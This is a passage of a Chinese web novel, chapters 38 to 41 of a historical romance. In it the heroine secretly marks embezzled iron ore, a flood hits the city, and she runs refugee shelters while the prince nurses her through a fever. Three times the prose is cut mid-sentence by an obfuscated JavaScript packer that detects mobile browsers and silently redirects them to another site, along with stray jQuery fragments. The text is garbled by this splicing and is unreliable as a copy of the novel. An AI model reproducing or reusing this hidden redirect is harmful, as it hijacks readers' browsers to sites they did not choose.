大爷眼神不好,压根没注意到顾婉妤一瞬间便换了一张脸,他甩起鞭子,催动牛车入城。 一戴上面具,顾婉妤就感觉安心极了,她今日特意也是穿了一身农妇常见的装扮,配上这张陌生的脸,谁还能认出她来。 大爷虽然眼神不咋地,但牛车驶得好,熟门熟路便经过了大街小巷,来到都作院的地盘。 车队走得不是正门,而是靠近库房的侧门,早有一队带刀的护卫在那里等着,大爷坐在牛车上,顾婉妤坐在内侧,果然被盘问了。 “这是谁?没见过的人不能进!” 顾婉妤连忙堆起笑容:“官爷,叔扭了腰,我就帮叔赶车,我不能下来,否则牛就不跑了。” 她一副淳朴小妇人的样子,脸也长得像本地人,护卫便放松了警惕,还搭话道:“那以后都你来送吧,别让大叔这么大年纪还辛苦赶车了。” “好啊。”顾婉妤笑着点头。 大爷在下面轻轻踹了牛屁股一脚,老牛便动了起来,踏进都作院的庭院中。 院内站了五位库管,而库房的大门敞开着,隐约能看到里面黑漆漆地堆了许多的箱子。 第一辆牛车被赶到合适的位置,紧接着后面的依次跟上,宽敞的院落中便挤满了沉默扫尾的牛以及一车车的矿。 库管看送矿石的还是那个老眼昏花的老头,只多了一个畏畏缩缩的小农妇,便放松了警惕,闲聊着去卸货过称。 顾婉妤趁机跳下车,见没人在意她,便往院外走。 护卫们见赶车的农妇出来了,也没多问,瞧着她走远了。 实际上,顾婉妤走了一半便绕到都作院库房的另一侧院墙,她跳上墙头,看库管们和护卫们都没注意这边,便像猫一样轻轻落地。 库房的大门往常都是关闭锁紧的,难得为了入库而库门大开,她一个侧身便隐入仓库的黑暗中。 库房内部有一种尘土弥漫的烟尘气味,她蹲下身子,借着从外面透进来的光打量箱子中摞着的一堆堆矿石,确认这就是官矿出土的精铁矿,与华师傅教她辨别的一致。 这是多少矿石啊……顾婉妤往里走,这偌大的库房中,是一堆堆小山一般高的铁矿,绝非什么用剩下多余出来的数量。 看来这都作院昧下官矿的时日已经很长了。 该如何留证,顾婉妤也已经准备好了。她准备了一种特别的粉末,由一种夜间会荧光的植物磨制而成。 办法虽笨,但一定有效,每一箱铁矿石上,她都沾了一些作为标记。幸好库房之外那五名库管的动作也慢,允许她在这会工夫里把每箱铁矿石都过一遍。 38. 西风送凉(9) 外面的矿石数量登记完了,库管们便开始用推车一趟趟往库内运送。 顾婉妤躲在库房深处,将最里面的那些矿石也打上标记。虽然有矿石的遮挡不怕被发现,但想躲过他人的视线伺机出去是有些困难,她拍掉手上多余的粉末,慢慢向门口移动过去。 要是被锁住就麻烦了。 走动之间,因着黑暗没有看清旁边的障碍物,顾婉妤的右腿踢在一个贴地摆放的木箱子上,发出“哒”的一声。 “什么动静?”外面有人警惕地问。 顾婉妤霎时屏住呼吸,缓缓摸索着挪进层层叠叠的矿石的后方。 一阵杂乱的脚步声传来,并且能感受到距离越来越近,她用库房中的岩石作为天然的屏障,矮下身子,慎重地迂回绕远。 “这太黑了,提灯进来照一照。” 顾婉妤心脏一跳,她回头观察着里面,打算继续往内退去。 “哎呀没必要,这地方一直锁着,能有什么东西,最多也就是老鼠吧。”有人嫌麻烦,出声拒绝。 “走吧走吧,赶快运货了,这得运到什么时候。” 脚步声走远了,顾婉妤等了一会,才探头出来观察,看到库管们确实是没有再注意此处的动静,回去运矿了。 他们推着小推车的时候,注意力都在车子上,几乎不抬头观察四周,这给了顾婉妤可乘之机。她贴着墙角的阴影处伺机而动,等到所有人都背对此处的时候,一个闪身从库房大门的边缘跑了出去,脚尖点地掠过,几乎没有声音。 但毕竟是这样一个封闭的院落,纵然是黑色的影子一闪而过,也难免引起几个侧对库房、视野余光刚好能瞥到的人的注意。 有人抬起头,疑惑地看着库房门边的墙角。 “怎么了?” “总感觉很奇怪。”那人说着,便走过去,“不太对劲。” 但库房大门敞开着,里面寂静如斯,没有丝毫痕迹,而库房大门旁边的地方也空空荡荡,看不出什么特殊之处。 那人抬头看看院墙,一个跳跃扒上去,便探头向外看,院墙之外的小巷子没有行人来往,只有风吹过飘落的树叶,在地面上打了个寂寥的卷。 “到底怎么了?”旁人走过来问。 “算了,没发现什么。” 此时,顾婉妤正在一墙之隔的地方平复砰砰乱撞的心跳。她从库房跑出来之后,便发现自己还是太莽撞了,因为有几个人的位置其实是能够看见自己的。在那些人反应过来之前,她一急之下便火速跳过了院墙,正打算往远处跑,忽然,相隔不远的地方开了一扇木门,吓了她一跳。 下一秒,华师傅出现了,他从门中探了半个身子出来,忙着朝顾婉妤招手。 顾婉妤便跑过去,被一把拉进了这与库房仅仅一墙之隔的院子之中。 门被轻轻合上。 顾婉妤在库房里标记矿石就消耗了大量体力,此时更是累得坐到地上大口喘气。她环顾四周,看到原来这是工坊的院子,周围的布置还如她之前来过的一样,华师傅以及其他几位暗中支持煜王的师傅都关切地过来看着她。 “你们是怎么认出来我的?”顾婉妤笑着小声问,她摸摸自己的脸,分明还戴着那张面具呀? “煜王差人送了消息过来,说了你穿的什么衣裳。” 原来如此,顾婉妤这身农妇装还是崔煜川管工地上做饭的大娘借过来的,还真有他的。 “我待在这里不妥,万一库房那边警觉来这里搜人,我又走不掉了。”顾婉妤拍拍裤子上的灰尘站起来,“我走哪里能出去?” “你这身上的灰太多了,一看就不对劲儿。”华师傅劝她,“先别出去,躲一下风头,晚点让煜王来接你。” “他怎么来接我?”顾婉妤疑惑。 不过,因为没有能更换的衣服,顾婉妤还是听从了建议,暂且藏在工坊中。直到天色渐晚,崔煜川还真如华师傅所说的那样来接她了。 只是名义上并非是为了她,崔煜川驾着马,寻到工坊,说要找一个师傅拿自己订做的东西。按理说官匠不能接私活,但谁让他是王爷,看门的人不敢阻拦,就让这个师傅出来送。 院子里黑漆漆的,没有亮灯,只有作坊火塘之中的光映着一个个挥汗如雨的工匠们,华师傅正在打磨一柄宝剑,见看门人进来说煜王找人,便给看门人指了院子里的一个角落。 看门人随之望去,看不清楚,只能见到院子之中层层叠叠晾晒的布巾旁有个身影,这人戴着个四方皮帽,手里捧着个不大的盒子,主动站出来往门口走。 作坊里向来没有外人,看门人丝毫没有戒备,只听见院外王爷在问:“做好了?” 几息之间,王爷又问:“随我一起走?” 这是定做了什么东西还得把工匠带走确认?不会是什么绝世珍宝吧。 看门人好奇地走出来,只见到浓郁夜色中高头大马扬长而去的背影。 顾婉妤僵硬地坐在马上,被崔煜川从后面虚虚地圈在怀里,她不自在地活动两下,就听到身后的人闷闷地笑了两声:“别乱动,小心掉下去。” 崔煜川这话的语气听上去着实有几分掩藏不住的暗爽,顾婉妤还发懵呢,怎么两人同乘这种暧昧的举动会忽然在这种时候发生,她试探的问:“我能坐到后面去吗?” 崔煜川又笑了,顾婉妤甚至能感受到他胸膛震动的幅度:“不行,我还要把着缰绳。” 马谁不会骑啊。顾婉妤下意识地想反驳,脑中却忽然想象出了她圈着崔煜川骑马的画面,崔煜川一定是得缩成一团才能让自己够到缰绳……这也太奇怪了…… 顾婉妤尽力让自己冷静下来,不就是一起骑马吗,有什么好心潮澎湃的! 幸亏夜色已浓,两人又走的小路,崔煜川大抵感受不到自己的异常。她感觉自己双颊发烧,崔煜川衣服上淡淡的香味一个劲儿往鼻子里钻,让她像醉酒之人一般飘飘欲仙。 等一下! 顾婉妤突然清醒过来,她崩溃地问:“我今天在库房里摸爬滚打,是不是脏兮兮的还有臭味啊。” 崔煜川听她这样问,一时无语,感觉旖旎的气氛一下子消散了一半,但很快又忍不住笑出来。他的心脏怦怦跳,已经没救了,无论如何都感觉顾婉妤好可爱。 “当然没有了。”崔煜川故意凑近她的脖子嗅闻,说话时轻微的气扑在上面,让后颈很敏感的少女往前躲了一下,却无法躲开。 他贴着她,确信她的担心是多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958738|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的:“很香啊,就是你的味道。” 顾婉妤大惊失色,崔煜川今天是怎么了!怎么突然做了这么多惹人心动又惊慌的举动! 她一害羞,嘴巴就停不下来,非得问些乱七八糟的问题缓解自己的心情:“你……对了……华师傅让我交给你的盒子里是什么呀?” 崔煜川无奈:“你没打开看吗?” “我哪能随便看别人的东西。”顾婉妤理所当然地回答道。 崔煜川磨牙,想在她脖子上来一口以示惩罚:“什么别人……我也是别人?而且那里面的东西就是给你的。” “哦……”顾婉妤缩着脖子,反而更把自己缩进身后人的胸膛中,显得乖巧又可怜。 她才发现,原来崔煜川也不是她所以为的那样年轻而稚嫩,因为他的胸膛已经很宽厚了,温暖的热度透过来,简直像是能够把自己的全身都包裹住,令人感到安心。 原来,他们虽然年纪相仿,却的确有对比强烈的男女之别,是这么的不同。 顾婉妤这才意识到,自己一直傻乎乎的,没有什么性别之差的意识。她天生更亲近温暖和善的女性,对男性没有什么特殊的在意和关注。但是崔煜川不同,不论他与自己并肩同行,还是像这样亲密地坐在一起,都散发出强烈的、让她无法忽视的存在感,扰乱她的思绪。 唉,怎么办呀。 突然发觉了自己与以往不同的心意,顾婉妤的第一反应却是慌乱,因为这是她从未品尝过的少女心事,这份柔软和惆怅的思绪与她本人直爽畅快、横冲直撞的作风截然不同,此时却毫无疑问地弥漫于她的心间。 察觉到顾婉妤的沉默,崔煜川直起身子不再逗她,他突然想自己是不是表现得有些不尊重了,惹得她不快。 “那个……” “我……” 两人同时开口,声音在冷清的小道上撞在一起,又快速沉默下来。 “你说?”顾婉妤小声讲。 “嗯……也没什么。你要说什么?” 顾婉妤咬住嘴唇:“我也没什么重要的事情讲……” 崔煜川今天笑的频率很高,他温柔地摸摸顾婉妤的脑袋,手放开缰绳只以两腿策马,从马背上的包裹中拿出华师傅交给他的那个小方盒子。 打开之前,他说:“今天能看到星星。” 星星?顾婉妤抬头,却仍是黑沉的夜幕和厚重的阴云云层。即使今夜没有下雨,但明天又是一个雨天。 “哪里有星星,不许骗人,我真的会期待的。”顾婉妤嘟起嘴,她多想这个雨季赶紧过去,辛苦劳动的农民们有好收成,水利工程顺利完工,周围的城镇也再无洪涝之害。 “没有骗人。”崔煜川的声音轻柔,像在哄一个小孩子那样温情脉脉,“天上的星星我没有办法,但是地上的星星给你找来了。” 顾婉妤听到他啪嗒一声掀开木盒子的声音,紧接着是崔煜川的双手绕过来,一个微凉的物体被轻轻地放在她的脖子上。 脖颈处毛毛的,是崔煜川的手指在打绳结,偶尔触到她,令她觉得很怕痒,忍不住往前躲。 “别动,很快就好。”崔煜川哄她。 很快,绳结就打好了,崔煜川让她低头看看喜不喜欢。 39. 西风送凉(10) 顾婉妤低下头,手指轻轻托起这个小巧玲珑的吊坠。 微微的光亮照在上面,映出深邃的蓝色,顾婉妤凑近去看,看清这颗蓝宝石光滑又纤美的外表,以及从内析出的神秘的光彩。它恰到好处地镶嵌在一簇银色的呈半圆形延伸向上的枝蔓之中,被匠人巧妙地磨成了星芒一般的形状,就像是深海凝结成的一滴优美的星光。 “喜欢。”顾婉妤对这漂亮的小东西爱不释手,诚实地说道。她将尖尖的宝石放在眼前,便能看见星星、静谧的深蓝,以及柔和的微光。 崔煜川点了点头,这种小玩意唯一的作用便是讨人欢心。他拜托华师傅将这颗名贵且稀有的蓝宝石制成首饰并赠送给顾婉妤,只是希望她能开心,哪怕只有一瞬间也是不错的。 毕竟顾婉妤送给他的礼物,是要珍贵得多,让他甚至难以想到应该给予什么样的回礼才算等值。 若是“心”的价值也可以被衡量就好了,他愿意为她送出一颗真心。 潮湿的泛着凉意的夜里,两人依偎在马上,因着彼此贴近的温度,感到了久违的惬意。 就这样慢慢一直走下去,好像也不错,似乎只要他们在一起,一切都会往更好的方向发展。 几日后,随着简陋但庞大的铁水炉在河岸边筑起,打铁声开始混入了河场日常劳作的呼号声,共同构成此起彼伏的乐章。都作院的精铁矿如约而至,被堆砌在这个建得匆忙却作用巨大的打铁场。 华师傅带着几名经验丰富人品又好的老师傅加入进来主持大局,他们和水利师傅们一起研究着,该如何做出一扇能惠泽百年的水闸门。 崔煜川和顾婉妤则忙着清点铁矿,一方面是要给都作院付清货款,另一方面也是要留下证据。 白蜡点燃之后所能产生的光亮要胜过其他一般的蜡烛,用白蜡照过,便能看清这些矿石上撒着亮晶晶的粉末,每一箱都有,正是顾婉妤之前在库房中撒上去的。 通过这样计数,可以估算出都作院库存的官矿到底有多少,以后才好让朝廷找他们算账。 从远方飞来的信鸽也带来了好消息。阮竹姐和流火君替他们协商好,可以在镜麓开辟一个采石场。只要从镜麓到棠湖的河道建成,便可以用游船将开采出来的石块运过来。 众人的努力汇集到一起,便成了一股强大的力量,推着艰难的工程不断发展,大家都有信心,一切会越来越好。 期待着,期待着福源堰的建成,这必将成为彪炳千古的一项成就。 日日耕耘劳作的人们抬头看看远方,便能见到河岸边人头攒动,时间一天天过去,河道越发宽阔,初具规模和气派,令人不禁与有荣焉。 然而,令所有人措手不及的天灾降临了。 大雨是从一个黄昏开始下起来的,彼时黑云压城,雨水倾盆而下,哗哗地拍打在绥金城宽阔的街道上,在石板路上留下一汪一汪的水洼。崔煜川见雨实在是太大了,便停止了工程,让众人赶快回家避雨休息。 雨一下便是一夜,春雨贵如油,夏秋之际的冷雨却是像不要钱一般地往下倒。若天上有神仙,是否打翻了储水的玉宝瓶? 顾婉妤站在屋檐下,看着重重的雨幕以及升腾起来的雾气,心中总有不安定的惊慌之感。她将手放在心口,试图平复,却不得其法。 后半夜,马蹄疾驰的动静如闪电一般划破了这个寂静无人的雨夜,居然是绥金城城防军来报,汨江上游决堤了。 崔煜川急急披上蓑衣,就打算出门,被吵醒的顾婉妤也一下子从自己的屋子里跑出来:“上游洪涝了吗?” “沿岸的农庄被冲毁了好几个,许多人生死不明。”城防军哨兵面露惊恐,“大水马上要淹下来了。” “不要害怕。”崔煜川拍拍他,但自己的脸上其实也满是凝重和焦急,“是否有通知其他村镇?” “通知了,前防的弟兄们全都在跑着通知示警,要不是他们,消息也无法传得这么及时。” “好。若有百姓涌入绥金,不要阻拦,通通放入。” 麓北就是个一马平川的大平原,越是下游地势越平坦低缓。若是上游都淹了,水迟早会漫过来,绥金城已经是附近一带地势最高的区域了。若绥金都保不住,就要出大事了。 “我要马上召集人手去河边。”崔煜川对顾婉妤说,“你……” 情急之下,他本来要脱口而出一句“你留在这里,保护好自己”,却话在嘴边,硬生生止住了。 幸好没有脱口而出,否则……顾婉妤会生气。 “我和你一起去。”顾婉妤点点头,给他一个坚定和信任的眼神:“不要怕,我在你身边。” 一炷香不到的时间,城中大部分百姓被突然响起的钟声吵醒了。 绥金城中最高的塔楼上,那鼎几十年未响过的钟,发出了很多年轻人的生命中从未听过的钟声—— 那低沉又厚重的钟声,具有强大的穿透力,回荡在整座绥金城的上空,明明离得很远,却仿佛撞在人的心上,能让人一下子清醒过来。 许多人敏锐地感知到了异常事件的发生,他们穿上衣服打开院门,才听到大街小巷都传来更夫、城防军,以及官府衙役们心撕力竭的吼声:“洪水要来了!有力气的跟我们去河岸!” “洪水来了!” 洪水? 听到这个消息的人们,先是惊慌失措,回家赶紧收拾家中值钱的物品让家里人揣好,随时准备逃跑。 然后,才能反应过来,他们要跑去哪里呢? 往东,是地势越来越低、情况越来越危险的下游。 往南往北,是汨江纵横交错的支流,走很久才能离开麓北平原。 往西,就是来势汹汹的洪水。 这时,一阵疾如闪电的直觉贯穿了他们的大脑,他们意识到,是啊,是得往西去……是得冲着水去! 在这种时候,一味地逃跑或者坐以待毙,无异于等死,只有与天斗,把水拦在外面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971470|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能获得生机。 没有其他的方法了。 他们收拾好家里,安置好家人,千叮咛万嘱咐,便跑出了家门,来到大街上。此时,大街上到处都是惊慌焦虑的人,喊声连天,有人举着锄头,有人背着箩筐,他们都在问—— “怎么去河岸?现在就去?” “现在就去!”城防军的士兵伸长手臂呼号,“煜王已经带着官兵往河岸去了,急需人手,马上出发!” 黑暗的夜色与冰凉的雨幕中,一个个队伍逐渐成型,人群汇入人群,凝结成一支庞大的流动的队伍,一开始这支队伍喧闹不止,所有人都有许多疑问,又有很多情绪想要抒发,后来,这支队伍变得沉默。每个人拿着从家中抓来的趁手的道具,紧张地往河岸边赶着。 抵达河岸时,能看到火光已经照亮了黑色的江水。如今的汨江是骇人的,如同能夺人性命的忘川,江水翻腾,极度动荡不平。 崔煜川、顾婉妤,以及日常配合默契的各位施工师傅们,早已来到了这边,紧急策划治水方案。 通过镜麓的帮助,他们手头积攒了一些石块,可以用糯米浆以及铁钩粘合,沿岸筑成堤坝挡水。 之前修的排水渠现在看来是都不够用了,当务之急是要建起福源堰和水闸进行分水,才能彻底解决水患。 另外,周边的村庄乡镇也不能就这样放任不管,大水过后必有瘟疫,得先把没受灾地区的人们转移到安全的地方。 一项项任务分派到人,每个任务都不简单,崔煜川主持大局,轮到顾婉妤时,他说:“你留在城中,安置灾民。” 顾婉妤意图拒绝,她下意识最想要的是留在崔煜川的身边与他一起抗住最危险的事情。安置灾民固然重要,但她在这河边泡了几个月,现在她一样可以和其他人站在最前线。 崔煜川看出她的拒绝之色,连忙说:“不是因为别的,而是安置灾民非常重要,我信不过城里那些官员,得派个能说得上话的人负责,你一定要替我守好城。” 顾婉妤想,自己一介民女,怎么能在那些眼高于顶的官员面前不落下风呢?但……崔煜川说得对,现在城中一定乱成一团,必须得有人负责城中的种种调度安排。 “好的,我一定。”她说。 汇集而来的人们在紧急指挥下开始埋头苦干,他们大多数人没有参加过水利建设,只能从事最简单的体力活,但即便是这样,他们的帮助仍然弥足珍贵。崔煜川带着官兵下水,他们手拉着手铸成一道人墙,开始往河岸填埋地基,加固堤坝。 顾婉妤骑马离去前,又回头看了一眼,她心中说不出是什么滋味,只感觉眼前这个异常宏大又悲怆的场面,也许会令她此生难忘。 她驾马离去,带着一小队士兵重回绥金城,那里还有新的挑战在等着她。 吊坠在胸口随着骏马跑动的频率晃动,已经被体温捂热,存在感极强,她单手握住,许下心愿。若是上天垂怜众生皆苦,请一定要放过众生。 40. 西风送凉(11) 回城的路上,他们是逆着人群而行的,望见绥金城时,已经可以看到家家户户都亮起了灯。城中不太平,看见的人们脸上都一副惊慌失措的。 这还是难民未到的情况,就已经如此混乱。此时守城的官兵大都离城,万一城中发生动乱,将是难以镇压。 顾婉妤当机立断前往府衙,寻求帮助,赵判官此时正坐镇,指挥着衙役们统计赈灾物资粮食,却不见杨知府的踪影。 “赵判官,”顾婉妤并非很愿意打扰赵判官他们的工作,只是实在没有办法,“如今守城的官兵都出去了,城门那里如果没有人员维持秩序,到时受灾百姓无秩序地涌入,会使城中更加混乱。” “顾姑娘,你说的是。”赵判官点头,并无任何责怪之意,反而非常认真地对待顾婉妤的提议,“如今衙门里还留守了一批带刀侍卫,不如就让他们去守城门,遇到灾民便引导他们前往临时赈灾点。” “好,不过临时赈灾点在哪里?可有遮风挡雨的窝棚?”顾婉妤关切,”“另外,城中也需要有人坐镇,安抚百姓情绪,才能阻止恐慌蔓延。” “有是有的,只是数量不多。”赵判官苦笑,“听水警传信,这当真是几十年都难得一遇的大水,恐怕数量远远不够救济灾民的。” “杨知府呢?”顾婉妤皱眉,“该由他来挑起大局才行,号召城中大户开仓放粮。” “之前从他身上薅了那么多银子,如今恐怕他不会乐意再割肉了。”赵判官与杨知府共事多年,自是了解对方的作风。 “罢了,先把我们能做的做好吧。”顾婉妤与赵判官告别,调转马头便去了赈灾点。 赈灾点原本是绥金城内给无家可归之人划分的一小片区域,允许他们在此生活。如今要增加安置难民的作用,便不得不需要挤占原本在此居住的流浪者们的生活空间。 顾婉妤到的时候,官府派来的官员们正与流浪者们僵持不下。 顾婉妤过来听了一下双方的争执,原来是官府想让流浪者们重新挪一下窝棚的位置,充分利用空间安置更多人。但他们不愿意,认为所有人都这样住得太近不安全,容易丢东西,也有人干脆说自己嫌麻烦不想动。 一名官员见顾婉妤身后随了一小队士兵,便给她使眼色,意思是让士兵们直接武力镇压,不用再费口舌。 顾婉妤却装作没看见,她大声和流浪者们商量起来:“各位,从明天开始城外的灾民就要陆续进城了,到时候在这里我们要设置一个大型赈灾点,可以领取粮食、生活物资、保暖衣物等等东西,你们也可以领。如果现在不腾出空间,我们没地方设布施的摊位,就只能挪到别处了。” 官员目瞪口呆,谁说赈灾物资也是给这些流浪汉准备的了?! 不过,他转念一想,到时候流浪汉们跟着一起排队领东西,也不好拒绝,说不定又是一场风波要引起事端,顾婉妤说的倒也没错。 顾婉妤说完,原本沸沸扬扬的不满和争吵声便小了很多,看来是有用了。 但也不是所有人都买账,有人问她:“那设在别处,我们走过去领不就是了?” “灾民那么多,物资又有限,肯定是离得近才能排队领到。”顾婉妤劝道,“特殊时期,大家都行个方便,一起在此互相照顾,肯定少不了好处。” 那人才终于不说话了。 顾婉妤欣喜,回过头让官员们赶紧带着人重新布置窝棚区。 “好,这就来。”官员也高兴,他们指挥着流浪汉们重新搭建窝棚、帐篷等,再在空出来的地上加置草席、棚户等可以住人的设施。 顾婉妤安排她带来的士兵们上去帮忙,以后每日在此排班轮值,维持秩序。 忙碌了一夜,安置区已经成型,低矮的棚户连成了一片,从远处看颇具规模,天蒙蒙亮的时候,第一批村上来的灾民已经被引导抵达了这里。 顾婉妤坐在桌子前,挨个给他们登记,令他们以家庭为单位住进窝棚,单独来的也搭伙住,尽量节约空间。 这些灾民本都是靠天吃饭,辛勤劳动的农民,一夜之间这辈子辛苦积累的财产都被大水冲走了,十分可怜。每个人脸上的表情都木木的,那是一种经历了天灾人祸之后特有的情绪,当悲痛达到极致时人就陷入了失去一切的麻木之中。 顾婉妤看得心里难受,只能尽量记录好每个家庭提出了什么样的特殊需求。最早来的这一批人是提前转移的,所以身上大多还带了些细软和厚衣服,主要缺的就是可饮用的水。顾婉妤还遇到一名月份很大、临近生产的孕妇,也不知道她是怎么扛过了这么远的路程急走来到的绥金,顾婉妤让她带着东西到衙门去住。 顾婉妤自己的状态也不好,她忙碌了一夜,嘴角都干裂了,但如今城中到处一片混乱,赈灾点又十分忙碌离不开人,她坚持继续给灾民们登记,与每一个人交谈了解情况。 第二批灾民也进城了,这些人是从更远一点的上游区域逃来的,听他们说,眼见着夜里水从脚脖子处漫上来,漫到小腿肚,等到人们清醒过来,意识到必须离家逃亡时,水已经一直涨到腰际的位置,河边更是大水决堤,完全没法靠近。 但不管怎么说,能来到这里的人都还是幸运的,至少保住了性命。洪涝湍急,有许多村庄是被一下子冲毁的,就算里面的人水性好,也要被倒塌的房屋压住,最后淹在里面。 顾婉妤抬头看阴沉的天,感觉脑袋晕晕的。 “顾姑娘,”赈灾点忙碌着分发物资的官员走过来,想问问如今还有多少灾民尚未登记,却被顾婉妤苍白的嘴唇和红得不太正常的脸色吓了一跳,“你是不是发烧了?身体难受吗?” “是吗?”顾婉妤自己都没有感觉,怪不得嘴唇这么干,原来是发烧了吗?她用冰凉的手背贴住自己发烫的双颊,缓了一缓。 “淋了雨难免要生病的,你回去休息一下吧,这边我们来。” 官员们都默认顾婉妤是煜王的人,再加上她本身平易近人,做起实事来也十分刻苦肯干,使绥金的这些大小官员都十分尊重她。见顾婉妤生了病,便有许多人劝她赶紧回去吃药休息,万一发展成重症,他们也无颜向煜王交代。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982794|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这跟崔煜川有什么关系。”顾婉妤纳闷地嘀咕着,最终还是没能拗得过这些人的你一言我一语,只得老实回去睡觉。 她累极了,饭也没吃、药也没喝,勉力支撑着骑马回了小院,回到房间合衣倒头就睡。 她睡得很沉,感觉时间过去了很久,直到被一阵苦到浓郁的药味熏醒。 房间里只有一盏烛光映照,崔煜川侧对她坐在床边,手里端着个瓷碗,用小勺搅拌着碗中苦涩的药汁。 “嗯?”顾婉妤发出一声动静,崔煜川便看过来,黑色的眼睛在烛火的映衬下显得很温柔,使她的心一下子安静下来。 “醒了?来喝药。” 崔煜川给她身后塞了个枕头,让她半坐起来,便要喂她。 “你回来了?我们这边的河还没有决堤吧?”顾婉妤关切道。 “没有,你乖乖的,先喝药。” 崔煜川把勺子塞进她嘴里,苦涩的药汁流进嗓子,把舌头和嗓子眼都变得又苦又麻,顾婉妤没忍住干呕了一声。 “抱歉!”崔煜川连忙转身去桌子上拿了块酥糖,给她塞在嘴里,“吃点糖压一下。” “没事。”顾婉妤嚼着糖,摇了摇头,“你回来也没休息一下,就来照顾我了……” 崔煜川穿得还是昨日那身衣服,已经被河水与雨水淋湿透了,顾婉妤定睛一看,才发现他的衣服皱皱巴巴的,头发也凌乱起来,从未见过小王爷这般狼狈的样子。 但是,即便狼狈不堪,却依然这么好看,甚至更加令人心动了…… “我一推开房门,就看到你躺在被子里,脸都烧红了。”崔煜川情不自禁地笑了一下。 ? 顾婉妤转头一环顾,才发现,她居然在崔煜川房间里! 可能是回来的时候烧迷糊了,她居然进错了门,还跑到崔煜川床上睡觉…… 顾婉妤嗖一下用被子蒙住头,害羞死了。她真不是故意的! “笨蛋,没什么的。”崔煜川忍俊不禁,拽拽被子,“快来喝药了。” 拽了几下没拽动,他又坏心眼地提醒:“你现在蒙在我的被子里……” 顾婉妤又嗖一下从被子里钻出来,挺直身子,对他怒目而视,只是怎么看都像是一只逞强的小动物,外强中干地试图恐吓别人,殊不知红透了的耳朵和湿润的眼睛完全出卖了自己。 崔煜川宠溺地笑,不逗她了,给她喂药。 喂完药,他又给顾婉妤掖好被子,说自己熬了粥,给她端过来喝。 “崔煜川……”顾婉妤圆溜溜的大眼睛围着他打转,“你怎么这么好啊……” 他但笑不语,只让她稍等,就出去端粥来。 两人一人喝了一碗,方才觉得腹中熨帖,整个身子都暖起来。 “我去你的房间睡,你就在这里吧,比较暖和。”崔煜川站起身,与她告别。 “等等……”顾婉妤咬着嘴唇,心中斗争,最后还是因着不忍心崔煜川去冷飕飕的屋子,开口挽留道,“你……要不就也在这里睡吧……不行吗?” 41. 西风送凉(12) 并……并非不行…… 听到顾婉妤的“邀请”,崔煜川脑海中首先蹦出的就是这句话。他紧张地吞咽了一下,喉结明显地上下滑动,几乎就要脱口而出。 但理智尚在,他是不会同意的。虽然他绝没有任何非分之想,仍然不可能放任自己待在这里,毕竟顾婉妤是女儿家,自己一介男子,怎么能与她同床共枕呢。 对她不好的事情不可以做。 崔煜川摇摇头,却见顾婉妤明显地露出不满的神色。 “没关系啊,我想和你一起待着嘛。”她嘟起嘴,或许是因为生病,罕见地露出了难得一见的任性和娇憨之色,却格外令人怜爱。 崔煜川软下语气,哄着她:“你现在闭上眼睛再睡一觉,明天一早我就过来,怎么样?” “拿我当小孩子吗,眼睛闭上再睁开你就又出现了?”顾婉妤本来就因着发烧,感觉自己头脑发晕,闻言更是气笑了,“明天太阳一升起来,我们又要各自去努力尽责了,只是一晚上也不可以吗?” 崔煜川默默地走到她床边,摸了摸她的脑袋,体温仍旧有些高,顾婉妤的脸颊红通通的,显出几分可怜。 他坐在床边,把手摊开交给她:“那我在这里陪着你好不好?你先睡,额头还发烫呢。” 顾婉妤摇头,满脸失望:“不要,你那么累,我不想你休息不好。” “我睡在你身边就能休息好吗?”崔煜川自嘲地笑了笑,主动牵起她的手,“好了,不要说话了,躺下。” 顾婉妤偏过头,装作没听见,手却紧紧握着崔煜川的手,不愿意放开。 崔煜川看她这个样子,好像有些明白过来为什么今天生了病的顾婉妤格外脆弱,甚至有些无理取闹般的小性子。自从离开上京,一连数月这个原本单纯又稚嫩的姑娘经历了诸多事情,如今在绥金更是帮助他共担大局,想必已经很累了吧。 就算她自己没有清晰的意识到,但实际上她已经到达了一个身心上的临界值,需要有一个可以信任的人陪陪她,让她能够彻底放松下来,缓解脑海中的各种担忧和思绪,缓解身心上的疲劳。 确实是自己的问题,没有做到及时陪伴,没有照顾好她。 她在家中备受父母宠爱,如今跟着自己受了苦,自己还能厚着脸皮置身事外,一味只让她继续承担这些难事吗? 崔煜川泄了气,他揉了揉顾婉妤的脑袋,把她本就凌乱的发丝揉得更加毛绒绒的,才认输道:“好吧,那你往里点,我今天也在此处就寝。” 顾婉妤嗖得转过头,不敢相信在这些礼仪上格外古板的崔煜川居然同意了。 她怕崔煜川后悔,连忙躺下,往床内侧挪去,留下更宽敞的空间给崔煜川,还眨着亮晶晶的眼睛瞧他,看他有没有反悔之意。 